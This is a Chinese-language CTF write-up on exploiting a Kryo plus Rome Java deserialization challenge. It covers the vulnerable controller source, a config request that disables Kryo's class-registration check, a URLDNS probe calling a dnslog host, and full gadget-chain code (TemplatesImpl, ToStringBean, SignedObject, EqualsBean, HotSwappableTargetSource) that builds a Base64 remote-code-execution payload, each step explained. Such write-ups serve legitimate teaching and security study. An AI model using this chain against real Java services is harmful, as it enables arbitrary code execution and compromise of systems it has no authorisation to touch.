校赛题解之浅析kryo+rome反序列化

校赛题解之浅析kryo+rome反序列化

题目源码

非原创,仅作学习分析用。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.jnctf.challenge.controller;

import com.alibaba.fastjson.JSON;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class Indexcontroller {
    protected Kryo kryo = new Kryo();

    public Indexcontroller() {
    }

    @ResponseBody
    @RequestMapping({"/Deserialization"})
    public String unser(@RequestParam(name = "poc",required = true) String data) throws IOException, ClassNotFoundException {
        try {
            ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(data));
            Input input = new Input(bas);
            this.kryo.readClassAndObject(input);
            return "is you success?";
        } catch (Exception var4) {
            return "something wrong";
        }
    }

    @ResponseBody
    @RequestMapping({"/Config/set"})
    public String config(@RequestParam(name = "config",required = true) String config0) {
        Map Config = (Map)JSON.parse(config0);
        System.out.println(Config.get("polish"));
        if (Config.get("polish").equals("jnsec")) {
            System.out.println("yes");
            this.kryo = new Kryo();
            Method[] var3 = this.kryo.getClass().getDeclaredMethods();
            int var4 = var3.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                Method setMethod = var3[var5];
                if (setMethod.getName().startsWith("set")) {
                    try {
                        Object p1 = Config.get(setMethod.getName().substring(3));
                        if (!setMethod.getParameterTypes()[0].isPrimitive()) {
                            try {
                                p1 = Class.forName((String)p1).newInstance();
                                setMethod.invoke(this.kryo, p1);
                            } catch (Exception var9) {
                                Exception var9 = var9;
                                var9.printStackTrace();
                            }
                        } else {
                            setMethod.invoke(this.kryo, p1);
                        }
                    } catch (Exception var10) {
                    }
                }
            }
        }

        return "welcome";
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "an easy Deserialization?";
    }
}

关键依赖项: //(rome版本小于1.12即可用)
<dependency>
     <groupId>com.rometools</groupId>
     <artifactId>rome</artifactId>
     <version>1.7.0</version>
</dependency>
<dependency>
     <groupId>com.esotericsoftware</groupId>
     <artifactId>kryo</artifactId>
     <version>5.3.0</version>
</dependency>

Kryo

kryo是一个性能优秀的序列化器,基础介绍序列化 — Kryo序列化 - 怀瑾握瑜XI - 博客园

如果对象类型已知且不会为空,则用writeObjectreadObject进行序列化和反序列化

如果对象类型未知且可能为空,则用writeClassAndObjectreadClassAndObject进行序列化和反序列化,这样做会把对象的class也顺便写入序列化流中进行动态注册。

用前者序列化出的数据直接交给后者来反序列化则会报错,反之同理。

kryo只能(反)序列化已经注册过的类,用kryo.Register(someClass.class)对类进行注册,或者关闭注册限制kryo.setRegistrationRequired(false),然后使用readClassAndObject来反序列化。kryo默认注册的类只有int,String,short这些无关紧要的类,所以这边关注到/Config/set来绕过注册限制。

首先是看到JSON.parse,目标的fastjson版本只有1.2.41,但是java版本估计是大于8u191,可以发出请求,但是不会加载恶意类,jndi打不通,先算了。

审计代码或者丢给ai可以知道,这些代码的功能就是读取json里的键值对,检查kryo里有没有名字是set{键}的方法,如果有,就反射调用该方法并为其赋{值}。比如传"abc":"123",则会调用kryo.setabc("123")。传入如下参数即可关闭注册限制:

config={"polish":"jnsec","RegistrationRequired":false}

注意第二个值是false而不是"false"

注意第二个值是false而不是"false"

注意第二个值是false而不是"false",加了引号就会被视为字符串从而失效。

写个UrlDNS试试看:

package org.example;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.util.Base64;

public class KryoURLDNS {
    public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = object.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(object,value);
    }
    public static void main(String[] args) throws Exception {
        //  创建恶意 HashMap 对象
        HashMap<URL, String> map = new HashMap<>();
        URL url = new URL("http://36tmhw.dnslog.cn");
        map.put(url, "endp");
        setFieldValue(url, "hashCode", -1);


        //  配置 Kryo 序列化器
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false); // 关闭类注册检查

        //  使用 writeClassAndObject 序列化对象
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
        kryo.writeClassAndObject(output, map); // 关键步骤
        output.close();

        //  生成 Base64 Payload
        byte[] bytes = bos.toByteArray();
        String payload = Base64.getEncoder().encodeToString(bytes);
        System.out.println("Payload:\n" + payload);
    }

}

传进去成功看到了DNS请求,则kryo注册限制绕过成功。

还有个也就现在kryo这里提一嘴。kryo的默认InstantiatorStrategy(也就是实例化策略)是调用对象的无参构造方法,然后直接分配内存,不会触发readObject,如果对象没有无参构造方法,就会直接报错。这边依赖项里还有一个objenesis库,里面的StdInstantiatorStrategy则是通过反射调用来构造对象,不会调用它本来的构造函数

所以还要加一条:"InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy"

Rome

Rome原生反序列化是CB链的变种,用到的核心是toStringBean类的toString方法,先贴上源码:

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public String makepoc() throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();

        TemplatesImpl templates = new TemplatesImpl();
        String src = "yv66....";
        byte[] code = Base64.getDecoder().decode(src);
        setFieldValue(templates, "_name", "jiang");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{code});

        ToStringBean beann = new ToStringBean(Templates.class,templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException,"val",beann);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        java.security.SignedObject so = null;


        so = new java.security.SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        EqualsBean bean=new EqualsBean(String.class,"");
        //触发bean的beanequals
        setFieldValue(bean,"beanClass", SignedObject.class);
        setFieldValue(bean,"obj",so);

        Object gadgetChain = makeXStringToStringTrigger(so,bean);
        objectObjectHashMap.put(gadgetChain,"");


        kryo.writeClassAndObject(output, objectObjectHashMap);


        output.flush();
        output.close();

        System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
        return new String(Base64.getEncoder().encode(bos.toByteArray()));
    }


    public static void main(String[] args) throws Exception {
        EXP1 exp1=new EXP1();
        exp1.kryo.setRegistrationRequired(false);
        exp1.kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        //exp1.makepoc();

        exp1.unser(exp1.makepoc());
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {
        return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));
    }

toString()

ToStringBean beann = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",beann);

链子的尾部想必大家也很熟悉了,只要能想办法调用到templatesImplgetOutputProperties()方法就能任意执行字节码。ToStringBeantoString()方法会遍历对象所有以get开头的方法并调用,然后记录所有的结果拼接成字符串并返回,自然就能触发到前面所说的getOutputProperties()

此时链子的头部是ToStringBean.toString()

SignedObject

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        java.security.SignedObject so = null;
//只是生成一个私钥和签名引擎用来创建SignedObject,不重要

        so = new java.security.SignedObject(badAttributeValueExpException, privateKey, signingEngine);

这个是干什么用的呢?就是SignedObject构造函数的第一个参数是一个对象,初始化以后会把这个对象序列化后存入content(这边就是bad一串字母这个对象)。然后当调用signedObject.getObject()(bean经常调用对象的get方法是吧)的时候,会把content里的东西反序列化出来,就可以做到调用badAttributeValueExpException.readObject(),从而调用到ToStringBean.toString()方法。

此时链子的头部是signedObject.getObject()

EqualsBean

        EqualsBean bean=new EqualsBean(String.class,"");
        //触发bean的beanequals
        setFieldValue(bean,"beanClass", SignedObject.class);
        setFieldValue(bean,"obj",so);

然后是这一段,我们来看到bean的beanequals:

public boolean beanEquals(Object obj) {
    Object bean1 = this.obj;
    Object bean2 = obj;
    boolean eq;

    // 如果两个对象都为 null,则认为相等
    if (bean1 == null && bean2 == null) {
        eq = true;
    } else if (bean1 != null && bean2 != null) {
        // 如果两个对象都不为 null,则进行进一步比较
        if (!this.beanClass.isInstance(bean2)) {
            // 如果 bean2 不是 bean1 的实例,则认为不相等
            eq = false;
        } else {
            eq = true;

            try {
                // 获取具有 getter 方法的属性描述符列表
                List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
                Iterator<PropertyDescriptor> var6 = propertyDescriptors.iterator();

                // 遍历属性描述符列表
                while (var6.hasNext()) {
                    PropertyDescriptor propertyDescriptor = var6.next();
                    Method getter = propertyDescriptor.getReadMethod();
                    // 调用 getter 方法获取两个对象的属性值
                    Object value1 = getter.invoke(bean1, NO_PARAMS);
                    Object value2 = getter.invoke(bean2, NO_PARAMS);
                    // 比较两个属性值是否相等
                    eq = this.doEquals(value1, value2);
                    if (!eq) {
                        // 如果有任何一个属性值不相等,则认为两个对象不相等
                        break;
                    }
                }
            } catch (Exception var11) {
                Exception ex = var11;
                throw new RuntimeException("Could not execute equals()", ex);
            }
        }
    } else {
        // 如果一个对象为 null,另一个对象不为 null,则认为不相等
        eq = false;
    }

    return eq;
}

加了注释就很容易看懂了,第一个setvalue是传入SignedObject.class来通过第三个if,然后传入我们真正需要的so,遍历so里的get方法,从而执行signedObject.getObject()。既然是比较,那就要把属性值get出来比!get了就会把signedobject给反序列化!

此时链子头部:Equalsbean.beanEquals()

HotSwappableTargetSource

Object gadgetChain = makeXStringToStringTrigger(so, bean);
objectObjectHashMap.put(gadgetChain, "");

最后一步先是将SignedObjectEqualsBean包装为 HotSwappableTargetSource 对象,然后用makemap创建一个哈希表,来看看这个函数的功能:

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);//反射强行把size设为2
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");//仅用于兼容JDK7
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);//获取Node的构造方法
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        //创建两个node,hash均为0,键和值都是同一个对象,两个node的键分别是so和bean(已包装)
        setFieldValue(s, "table", tbl);
        //用反射强行把tbl设置进Hashmap
        return s;
    }

    public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {
        return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));
    }

这样走一遍的目的是绕过HashMap的初始化机制,强行把其中的两个节点的哈希值均设为0,人为制造哈希碰撞,从而调用equals方法。makeMap的两个参数甚至都不能对换,因为链子需要bean的equals,而不是signedobject的equals,后者没任何用。至于HotSwappableTargetSource呢?它是spring里的东西,相当于一个包装器,这是它的equals方法:

    public boolean equals(Object other) {
        return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
    }//直接调用它包装起来的object的方法

用这个东西包一层的意义何在呢?就是做一层方法转发,确保第一次比较的时候两者是同一个类的对象,防止提前返回结果。

chains

链子的全流程:

Kryo.readClassAndObject() //反序列化入口
HashMap.putVal() → equals() //发现有哈希值一样的两个键,触发equals比较
HotSwappableTargetSource.equals() //转发比较操作给里面包装的对象(bean和so)
EqualsBean.equals() //比较时触发对象的get方法
SignedObject.getObject() //验证签名并反序列化里面的对象
BadAttributeValueExpException.toString() //bad一串字母被反序列化后会触发自身和其属性val的toString
ToStringBean.toString() //遍历其属性触发get方法
TemplatesImpl.getOutputProperties() //恶意字节码被成功加载

收获了什么?toString方法经常会遍历对象可用的get方法,这样就有机会执行任意字节码;然后equals方法也会经常调用toString方法,挖掘链子时可以多加留意。至于原生反序列化Rome链网上有很多,就不再细写

← Back to Home